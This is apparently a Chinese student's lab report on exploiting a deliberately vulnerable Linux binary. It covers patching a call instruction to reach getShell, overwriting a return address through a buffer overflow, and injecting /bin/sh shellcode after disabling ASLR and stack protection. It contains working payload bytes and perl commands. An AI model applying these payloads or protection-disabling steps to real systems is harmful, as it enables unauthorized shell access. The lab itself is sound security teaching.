目录——PC平台逆向破解
1 逆向及BOF基础实践说明
1.1 实践内容
本次的实践对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。pwn1运行截图如下:
本次实验内容(三项):
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.2 实践要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
- 掌握反汇编与十六进制编程器 (0.5分)
- 能正确修改机器指令改变程序执行流程(0.5分)
- 能正确构造payload进行bof攻击(0.5分)
1.3 基础知识
- 常用Linux操作指令
objdump -d
:对任意一个二进制文件进行反汇编:%!xxd
:把二进制文档转成十六进制显示perl -e
:指定字符串以作为脚本(多个字符串迭加)执行|
:管道,把前者的输出作为后者的输入>
:重定向,将输出内容指向一个指定文件
- NOP, JNE, JE, JMP, CMP汇编指令的机器码(参考汇编指令与机器码对照表)
NOP
:90。空指令,CPU不做操作,继续执行NOP后面的一条指令JNE
:75。条件转移指令,若不相等则跳转JE
:74。条件转移指令,若相等则跳转JMP
:无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA)CM
:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CALL
:E8,调用子程序。
2 实验步骤
2.1 直接修改程序机器指令,改变程序执行流程
(1)先通过cp指令将pwn1备份三份,分别重命名为pwn_1、pwn_2、pwn_3,用于后续实验
(2)使用反汇编命令objdump -d pwn_1 | more
将二进制文件pwn_1反汇编(more指分页查看)
(3)分析反汇编出来的代码,寻找需要修改的代码对应的机器码
- 在main函数中找到call语句,
call 8048491 <foo>
,可以看出:- 调用的是地址为
8048491
的foo函数(箭头指向) - 对应找到这句call指令位于地址
80484b5
,对应机器码是e8 d7 ff ff ff
,查表知道e8即call(跳转)
- 调用的是地址为
- 若无跳转指令,此时EIP的值本该是下一条指令的地址,即
80484ba
;但由于call指令,CPU会进行跳转并执行EIP+d7ffffff
处的指令,即80484ba+d7ffffff
,在计算器中可以算出结果为8048491
- d7ffffff是补码,即-41,41换成16进制是0x29
- 80484ba+d7ffffff=80484ba-0x29=8048491
- 要想实现实验目标,手动操作修改程序机器指令,使call指令直接调用getShell,只需要将
d7ffffff
修改为getShell对应的地址-EIP的地址
对应的补码,即804847d-80484ba
的补码,用计算器算出结果为c3ffffff
(4)使用命令vim pwn_1
打开可执行文件,使用命令:%!xxd
将显示模式由二进制切换为十六进制模式
(5)输入/e8d7
指定查找需要修改的部分代码,并比对前后相应代码,确定位置正确
(6)按i
切换为输入模式,修改d7为c3,保存
(7)输入:%!xxd -r
将十六进制转换为原格式,按:wq
保存退出
(8)再输入反汇编命令objdump -d pwn_1
,查看到call指令已经被修改为直接调用getShell
(9)运行pwn_1文件,可以看到出现了shell提示符 #
2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
(1)objdump -d pwn_2
反汇编pwn_2文件
- 目的是利用foo函数中的Buffer overflow漏洞,通过构造输入的参数来造成BOF攻击
- foo函数中的mov指令读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成缓冲区溢出
- 目的是输入的参数刚好溢出到覆盖掉foo函数到main的返回地址
- main函数在调用foo函数的同时会在堆栈中压入返回地址
80484ae
(2)通过gdb调试确认输入几个参数能刚好覆盖到返回地址
- 看出若是输入
1111111122222222333333334444444412345678
,那么1234
恰好能够覆盖到返回地址 - 原因是从看eip值可以看出下一条指令的地址是
0x34333231
,就是1234
按小端输出的ASCII码值 - 因此只需在参数
1234
的位置替换输入getShell的目的地址,再将结果输给pwn_2,则可以实现目的
(3)找到需要替换的目的地址
- 之前反汇编时可以看到getShell的目的地址是
0x804847d
, - 因此要输入的参数是
11111111222222223333333344444444\x7d\x84\x04\x08\x0a
(\x0a换行)
(4)使用perl
命令将输入的参数重定向>
到BOF1,使用|
管道命令将输出的BOF作为pwn_2的输入
- perl命令:
perl -e ' print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > BOF1
- 管道命令:
(cat BOF1 ; cat) | ./pwn_2
2.3 注入Shellcode并执行
(1)准备工作
- 要实现shellcode注入,需要在特定的环境下执行:
- 关闭堆栈保护
- 关闭堆栈执行保护
- 关闭地址随机化
- 在x32环境下
- 在Linux实践环境
- 具体命令:
apt-get install execstack //安装execstack
execstack -s pwn_3 //关闭堆栈执行保护
execstack -q pwn_3 //查询文件堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
(2)查找地址
- 先在命令行输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
,其中\x4\x3\x2\x1就是注入shellcode后覆盖到堆栈上的返回地址的位置 - 输入
(cat input_shellcode;cat) | ./pwn_3
注入shellcode攻击
- 在Tab2中输入
ps -ef | grep pwn_3
,查找pwn_3的进程号为2336
- 在Tab2中使用gdb对pwn_3进行调试,输入
attach 2336
运行进程
- 通过
disassemble foo
查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae
- 输入
b *0x080484ae
设置断点,回车 - 输入
c(continue)
,回车,返回Tab1,回车,再返回Tab2,回车 info r esp
查看栈顶指针,得到地址为0xffffd37c
- 使用十六进制
x/16x 0xffffd37c
查看内存,可以清楚的看到0x01020304
(这里的图忘记截了,用的是本次实验某次同一步操作时的截图)
- 得出结论:返回地址栈顶指针
ffffd37c
+4位=覆盖到返回地址的地址,即ffffd380
- 将
ffffd380
改写入Shellcode中即可
(3)注入Shellcode
- 命令行输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > shellcode
- 将其中的
\x4\x3\x2\x1
替换为ffffd380
,即\x80\xd3\xff\xff
- 注入Shellcode攻击:
(cat shellcode;cat) | ./pwn_3
,成功
3 实验中遇到的问题及解决方法
(1)修改主机名
- 一开始主机名是直接用kali设置的,后来写报告的时候发现要改成名字拼音
- 参考资料3种方法更改Linux系统的主机名(hostname)
- 输入命令
sudo hostnamectl set-hostname <名字>
进行修改
(2)update时出现error,换源并将网络改成桥接模式
- 出现问题如下,更新失败
- 先输入
sudo cp /etc/apt/sources.list /etc/apt/sources.list.old
备份源列表 - 输入
sudo vim /etc/apt/sources.list
进入源列表换源(这里增加了中科院的源)
- 再次update发现还是出错
- 发现网络未打开,改成桥接模式
- 后来换成了清华的源,再次update成功
- 参考资料:apt-get下载源错误解决方法
(3)shellcode注入段错误问题
- 问题如下:
- 在前面的查找地址、地址计算、输入shellcode部分都正确的情况下为何还会出现段错误呢?
- 一开始百思不得其解,后来多次尝试后发现是之前重启机器后忘记重新关闭堆栈保护导致了错误
- 输入命令
echo "0" > /proc/sys/kernel/randomize_va_space
来关闭地址随机化,再进行后续操作就成功了
4 实验收获与感想
(1)思考:什么是漏洞?漏洞有什么危害?
- 漏洞就是系统的弱点和缺陷,是计算机的BUG,是应用软件或操作系统软件在逻辑设计上没有考虑到的疏忽和缺陷或在编写中产生的错误,有被攻击的隐患,导致未授权的访问甚至破坏系统。漏洞的存在给不法分子或黑客攻击者提供了入侵电脑的机会,通常通过植入木马、病毒、钓鱼网站挂马等方式来攻击或控制整个电脑,造成诸如权限替换、窃取资料、信息泄露、病毒传播、恶意勒索、破坏系统等严重后果。
(2)实验收获与感想
- 本次实验使用了三种方法实现PC平台逆向破解,让我熟悉了Kali的使用(其实跟Linux差不多啦)并且循序渐进地学会了这三种攻击方法,特别是之前没接触过的BOF攻击、shellcode注入攻击等,也进一步学习了gdb调试的使用。
- 在实验过程中也遇到了很多问题,主要是update&upgrade时的错误,后来替换了源和DNS就OK了,过程其实跟之前在Linux中遇到的差不多~
- 进一步理解并掌握了堆栈的概念,缓冲区溢出攻击的方法,感觉又进步了一丢丢w